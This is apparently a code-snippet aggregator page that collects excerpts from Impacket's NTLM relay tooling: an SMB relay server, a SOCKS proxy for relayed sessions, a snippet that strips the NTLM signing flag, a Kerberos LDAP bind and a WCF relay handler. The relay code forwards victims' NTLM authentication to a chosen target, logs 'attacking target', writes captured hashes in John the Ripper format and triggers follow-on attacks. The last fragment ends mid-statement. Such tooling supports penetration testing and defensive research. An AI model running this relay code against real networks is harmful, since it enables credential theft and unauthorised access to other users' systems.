            resp['CreditCharge'] = 1
            resp['Command'] = SMB2_NEGOTIATE
            resp['SessionID'] = 0
            resp['MessageID'] = 0
            resp['TreeID'] = 0

            respSMBCommand = SMB2Negotiate_Response()

            respSMBCommand['SecurityMode'] = 1
            if isinstance(recvPacket, NewSMBPacket):
                respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD
            else:
                respSMBCommand['DialectRevision'] = self.serverDialect
                resp['MessageID'] = 1
            respSMBCommand['ServerGuid'] = ''.join(
                [random.choice(string.letters) for _ in range(16)])
            respSMBCommand['Capabilities'] = 0x7
            respSMBCommand['MaxTransactSize'] = 65536
            respSMBCommand['MaxReadSize'] = 65536
            respSMBCommand['MaxWriteSize'] = 65536
            respSMBCommand['SystemTime'] = getFileTime(
                calendar.timegm(time.gmtime()))
            respSMBCommand['ServerStartTime'] = getFileTime(
                calendar.timegm(time.gmtime()))
            respSMBCommand['SecurityBufferOffset'] = 0x80

            blob = SPNEGO_NegTokenInit()
            blob['MechTypes'] = [
                TypesMech[
                    'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
                TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
            ]

            respSMBCommand['Buffer'] = blob.getData()
            respSMBCommand['SecurityBufferLength'] = len(
                respSMBCommand['Buffer'])

            resp['Data'] = respSMBCommand

        return resp
コード例 #11
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)

        #############################################################
        # SMBRelay
        # Are we ready to relay or should we just do local auth?
        if 'relayToHost' not in connData:
            # Just call the original SessionSetup
            return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand,
                                                recvPacket)

        # We have confirmed we want to relay to the target host.
        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            rawNTLM = False
            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = connData['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client, token)
                except Exception:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = challengeMessage.getData()

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = connData['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = b'\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff

                    LOG.error("Authenticating against %s://%s as %s FAILED" %
                              (self.target.scheme, self.target.netloc,
                               self.authUser))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.info("Authenticating against %s://%s as %s SUCCEED" %
                             (self.target.scheme, self.target.netloc,
                              self.authUser))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True,
                                                   self.authUser)

                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegState'] = b'\x00'

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = connData['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = b'\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                self.authUser = ('%s/%s' %
                                 (sessionSetupData['PrimaryDomain'],
                                  sessionSetupData['Account'])).upper()
                LOG.info(
                    "Authenticating against %s://%s as %s SUCCEED" %
                    (self.target.scheme, self.target.netloc, self.authUser))

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])
                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
コード例 #12
0
ファイル: smb.py プロジェクト: y0d4a/impacket
    def processSessionSetup(self, recvPacket):
        respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        smbCommand = SMBCommand(recvPacket['Data'][0])

        if smbCommand['WordCount'] == 12:
            respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
            respData = SMBSessionSetupAndX_Extended_Response_Data()

            # First of all, we should received a type 1 message. Let's answer it
            # NEGOTIATE_MESSAGE
            challengeMessage = self.smbData['CHALLENGE_MESSAGE']
            challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)

            respToken = SPNEGO_NegTokenResp()
            # accept-incomplete. We want more data
            respToken['NegResult'] = '\x01'
            respToken['SupportedMech'] = TypesMech[
                'NTLMSSP - Microsoft NTLM Security Support Provider']
            respToken['ResponseToken'] = str(challengeMessage)

            respParameters['SecurityBlobLength'] = len(respToken)
            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

            respData['NativeOS'] = ''
            respData['NativeLanMan'] = ''
            respSMBCommand['Parameters'] = respParameters
            respSMBCommand['Data'] = respData

            resp = NewSMBPacket()
            resp['Flags1'] = SMB.FLAGS1_REPLY
            resp['Flags2'] = SMB.FLAGS2_NT_STATUS
            resp['Pid'] = recvPacket['Pid']
            resp['Tid'] = recvPacket['Tid']
            resp['Mid'] = recvPacket['Mid']
            resp['Uid'] = 0
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            resp['ErrorCode'] = errorCode >> 16
            resp['ErrorClass'] = errorCode & 0xff
            resp.addCommand(respSMBCommand)

            self.__NBSession.send_packet(resp.getData())
            recvPacket, smbCommand = self.getSMBPacket()

            sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(
                smbCommand['Parameters'])
            sessionSetupData = SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(smbCommand['Data'])

            if unpack('B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Now we should've received a type 3 message
            authenticateMessage = NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)

            # Check if we have a connection for the user
            if self.activeRelays.has_key(authenticateMessage['user_name']):
                LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
                         (authenticateMessage['user_name'].decode('utf-16le'),
                          self.targetHost))
                errorCode = STATUS_SUCCESS
                smbClient = self.activeRelays[
                    authenticateMessage['user_name']]['client']
                uid = smbClient.get_uid()
            else:
                LOG.error('SOCKS: No session for %s@%s(445) available' %
                          (authenticateMessage['user_name'].decode('utf-16le'),
                           self.targetHost))
                errorCode = STATUS_ACCESS_DENIED
                uid = 0

            resp = NewSMBPacket()
            resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY
            resp[
                'Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY
            resp['Command'] = recvPacket['Command']
            resp['Pid'] = recvPacket['Pid']
            resp['Tid'] = recvPacket['Tid']
            resp['Mid'] = recvPacket['Mid']
            resp['Uid'] = uid
            resp['ErrorCode'] = errorCode >> 16
            resp['ErrorClass'] = errorCode & 0xff
            respData['NativeOS'] = ''
            respData['NativeLanMan'] = ''

            if uid == 0:
                resp['Data'] = '\x00\x00\x00'
                smbClient = None
            else:
                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'
                respParameters['SecurityBlobLength'] = len(respToken)
                respData['SecurityBlobLength'] = respParameters[
                    'SecurityBlobLength']
                respData['SecurityBlob'] = respToken.getData()

                respSMBCommand['Parameters'] = respParameters
                respSMBCommand['Data'] = respData
                resp.addCommand(respSMBCommand)

            self.__NBSession.send_packet(resp.getData())
            return smbClient, authenticateMessage['user_name']
        else:
            LOG.error('SOCKS: Can\'t handle standard security at the moment!')
            return None
コード例 #13
0
# Our imports
from impacket.smbconnection import *
from impacket.ntlm import *
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech

# smb packet struct
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [
    TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]

# build our own hash1
hash1 = getNTLMSSPType1(signingRequired=True)
hash1.dump()
# string to hash1 structure for convenience
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
# test to see if our hash contains a flag
# it will return True if it contains Flase if it does not
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
# So lets remove the signing and sealing flags
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
# If we wanted to add it back in we could do
h1['flags'] |= NTLMSSP_SIGN

# formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
コード例 #14
0
ファイル: ldap.py プロジェクト: c0d3z3r0/impacket
    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
                      TGS=None, useCache=True):
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises a LDAPSessionError if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2:     lmhash = '0%s' % lmhash
            if len(nthash) % 2:     nthash = '0%s' % nthash
            try:  # just in case they were converted already
                lmhash = unhexlify(lmhash)
                nthash = unhexlify(nthash)
            except:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        from pyasn1.codec.der import decoder, encoder
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except:
                # No cache present
                pass
            else:
                # retrieve user and domain information from CCache file if needed
                if user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data']
                if domain == '':
                    domain = ccache.principal.realm['data']
                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS()
                    LOG.debug('Using TGS from cache')

        # First of all, we need to get a TGT for the user
        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
                                                                        aesKey, kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal('ldap/%s' % self._dstHost,
                                   type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
                                                                    sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        # Now let's build the AP_REQ
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = domain
        seq_set(authenticator, 'cname', userName.components_to_asn1)
        now = datetime.datetime.utcnow()

        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 11
        # AP-REQ Authenticator (includes application authenticator
        # subkey), encrypted with the application session key
        # (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        blob['MechToken'] = encoder.encode(apReq)

        # Done with the Kerberos saga, now let's get into LDAP

        bindRequest = BindRequest()
        bindRequest['version'] = Integer7Bit(3)
        bindRequest['name'] = LDAPDN(user)
        credentials = SaslCredentials()
        credentials['mechanism'] = LDAPString('GSS-SPNEGO')
        credentials['credentials'] = Credentials(blob.getData())
        bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials)

        resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']

        if resp['bindResponse']['resultCode'] != 0:
            raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % (
                resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage']))

        return True
コード例 #15
0
ファイル: smbrelayserver.py プロジェクト: skelsec/impacket
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        self.target = self.targetprocessor.getTarget()

        #############################################################
        # SMBRelay
        # Get the data for all connections
        smbData = smbServer.getConnectionData('SMBRelay', False)
        if self.target in smbData:
            # Remove the previous connection and use the last one
            smbClient = smbData[self.target]['SMBClient']
            del smbClient
            del smbData[self.target]

        LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))

        try:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            smbData[self.target] = {}
            smbData[self.target]['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData('SMBRelay', smbData)
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split('\x02')
            if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('SMB2 not supported, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
                             TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]


        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS
コード例 #16
0
        def handle(self):
            version_code = self.recvall(1)
            if version_code != b'\x00':
                LOG.error("WCF: wrong VersionRecord code")
                return
            version = self.recvall(2)  # should be \x01\x00 but we don't care
            if version != b'\x01\x00':
                LOG.error("WCF: wrong VersionRecord version")
                return

            mode_code = self.recvall(1)
            if mode_code != b'\x01':
                LOG.error("WCF: wrong ModeRecord code")
                return
            mode = self.recvall(1)  # we don't care

            via_code = self.recvall(1)
            if via_code != b'\x02':
                LOG.error("WCF: wrong ViaRecord code")
                return
            via_len = self.recvall(1)
            via_len = struct.unpack("B", via_len)[0]
            via = self.recvall(via_len).decode("utf-8")

            if not via.startswith("net.tcp://"):
                LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "
                                                       "Only NetTcpBinding is currently supported!")
                return

            known_encoding_code = self.recvall(1)
            if known_encoding_code != b'\x03':
                LOG.error("WCF: wrong KnownEncodingRecord code")
                return
            encoding = self.recvall(1)  # we don't care

            upgrade_code = self.recvall(1)
            if upgrade_code != b'\x09':
                LOG.error("WCF: wrong UpgradeRequestRecord code")
                return
            upgrade_len = self.recvall(1)
            upgrade_len = struct.unpack("B", upgrade_len)[0]
            upgrade = self.recvall(upgrade_len).decode("utf-8")

            if upgrade != "application/negotiate":
                LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")
                return
            self.request.sendall(b'\x0a')

            while True:
                handshake_in_progress = self.recvall(5)
                if not handshake_in_progress[0] == 0x16:
                    LOG.error("WCF: Wrong handshake_in_progress message")
                    return

                securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]
                securityBlob = self.recvall(securityBlob_len)

                rawNTLM = False
                if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
                    # SPNEGO NEGOTIATE packet
                    blob = SPNEGO_NegTokenInit(securityBlob)
                    token = blob['MechToken']
                    if len(blob['MechTypes'][0]) > 0:
                        # Is this GSSAPI NTLM or something else we don't support?
                        mechType = blob['MechTypes'][0]
                        if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                            # Nope, do we know it?
                            if mechType in MechTypes:
                                mechStr = MechTypes[mechType]
                            else:
                                mechStr = hexlify(mechType)
                            LOG.error("Unsupported MechType '%s'" % mechStr)
                            # We don't know the token, we answer back again saying
                            # we just support NTLM.
                            respToken = SPNEGO_NegTokenResp()
                            respToken['NegState'] = b'\x03'  # request-mic
                            respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
                            respToken = respToken.getData()

                            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
                            answer = b'\x16'  # handshake_in_progress
                            answer += b'\x01\x00'  # version
                            answer += struct.pack(">H", len(respToken))  # len
                            answer += respToken

                            self.request.sendall(answer)

                elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
                    # SPNEGO AUTH packet
                    blob = SPNEGO_NegTokenResp(securityBlob)
                    token = blob['ResponseToken']
                    break
                else:
                    # No GSSAPI stuff, raw NTLMSSP
                    rawNTLM = True
                    token = securityBlob
                    break

            if not token.startswith(b"NTLMSSP\0\1"):  # NTLMSSP_NEGOTIATE: message type 1
                LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")
                return

            if not self.do_ntlm_negotiate(token):
                # Connection failed
                LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                          self.target.scheme, self.target.netloc)
                self.server.config.target.logTarget(self.target)
                return

            # Calculate auth
            ntlmssp_challenge = self.challengeMessage.getData()

            if not rawNTLM:
                # add SPNEGO wrapping
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = ntlmssp_challenge
                ntlmssp_challenge = respToken.getData()

            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
            handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))
            self.request.sendall(handshake_in_progress)
            self.request.sendall(ntlmssp_challenge)

            handshake_done = self.recvall(5)

            if handshake_done[0] == 0x15:
                error_len = struct.unpack(">H", handshake_done[3:5])[0]
                error_msg = self.recvall(error_len)
                hresult = hex(struct.unpack('>I', error_msg[4:8])[0])
                LOG.error("WCF: Received handshake_error message: " + hresult)
                return

            ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]
            ntlmssp_auth = self.recvall(ntlmssp_auth_len)

            if not rawNTLM:
                # remove SPNEGO wrapping
                blob = SPNEGO_NegTokenResp(ntlmssp_auth)
                ntlmssp_auth = blob['ResponseToken']

            if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"):  # NTLMSSP_AUTH: message type 3
                LOG.error("WCF: Wrong NTLMSSP_AUTH message")
                return

            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(ntlmssp_auth)

            if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):
                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                        self.target.scheme, self.target.netloc,
                        authenticateMessage['domain_name'].decode('utf-16le'),
                        authenticateMessage['user_name'].decode('utf-16le')))
                else:
                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                        self.target.scheme, self.target.netloc,
